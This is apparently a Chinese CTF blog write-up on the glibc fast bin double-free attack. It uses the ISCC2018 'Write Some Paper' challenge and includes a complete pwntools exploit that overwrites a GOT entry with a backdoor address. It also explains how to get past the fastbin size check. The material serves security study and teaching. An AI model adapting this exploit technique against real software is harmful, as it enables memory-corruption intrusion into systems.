fast bin_attack——double free

xuanbin 42 次阅读 发布于 16 天前


适用版本:2.23、2.27。

思路

对一个chunk进行多次释放从而给fast bin的单向链表形成环,在第一次申请时引入目标地址,第二次申请时获取目标地址chunk实现地址写。

完了,画图的时候都写成unsorted bin了,实际上时fast bin

利用条件

  • 存在UAF,可以多次释放同一chunk
  • 目标地址内存值满足fast bin_index检查

例题

ISCC2018——Write Some Paper

menu:

add:

delete:

存在UAF漏洞

secret:

无意义

backdoor:

存在后门函数

整体思路就是fast bin doublefree改got表某个函数为后门地址,值得注意的是有一个安全机制需要考虑,在tips中详细说明。

exp:

from pwn import *

context(arch='amd64',log_level='debug')
file = './pwn'
elf = ELF(file)
p=process(file)
gdb.attach(p,"b *0x400902")
s       = lambda data               :p.send(data)
sa      = lambda text,data          :p.sendafter(text, data)
sl      = lambda data               :p.sendline(data)
sla     = lambda text,data          :p.sendlineafter(text, data)
r       = lambda num=4096           :p.recv(num)
rl      = lambda                    :p.recvline()
ru      = lambda text               :p.recvuntil(text)
uu32    = lambda                    :u32(p.recvuntil(b"\xf7")[-4:].ljust(4,b"\x00"))
uu64    = lambda                    :u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))
inf     =  lambda s                 :info(f"{s} ==> 0x{eval(s):x}")

def create(size,index,content):
    ru("Welcome to use the paper management system!")
    sl("1")
    ru("Input the index you want to store(0-9):")
    sl(str(index))
    ru("How long you will enter:")
    sl(str(size).encode())
    ru("please enter your content:")
    sl(content)

def delete(index):
    ru("Welcome to use the paper management system!")
    sl("2")
    ru("which paper you want to delete,please enter it's index(0-9):")
    sl(str(index))

target=0x400943
create(0x30,0,"aaaa")
create(0x30,1,"bbbb")

delete(0)
delete(1)
delete(0)

create(0x30,2,p64(0x60202a))
create(0x30,3,"cccc")
create(0x30,4,"dddd")
create(0x30,5,"\x40\x00\x00\x00\x00\x00"+p64(target))
ru("Welcome to use the paper management system!")
sl("p")
p.interactive()

Tips

按常理来说,只要保证chunk生成时设置的chunk头不会破坏后续程序执行过程用到的函数就行,图中602028就是一个看起来很好的选择,覆盖printf函数为后门函数

可以看到,选择602028时只要维持system为400756,后续覆盖printf即可,但是有一个安全机制

图中框起来的部分表示,从fast bin中取chunk时,会检查所取chunk的size是否与fast bin的index匹配,也就是chunk该不该出现在fast bin的这个index链表里

fastbin_index的检查机制是将chunk的size右移4位(在32位系统中是3位),然后减2。fast bin的序号从0x20,0x30,0x40依次递增,同时unsigned int是低4字节,所以比如要申请0x30的内存,需要找一个为值0x00000040的内存地址。因为是size字段的低4字节,所以chunk头部的prev_size字段与size字段的高四位没有限制。

调试可以发现,0x60202a这个chunk符合要求,同时需要在申请时维持system不变。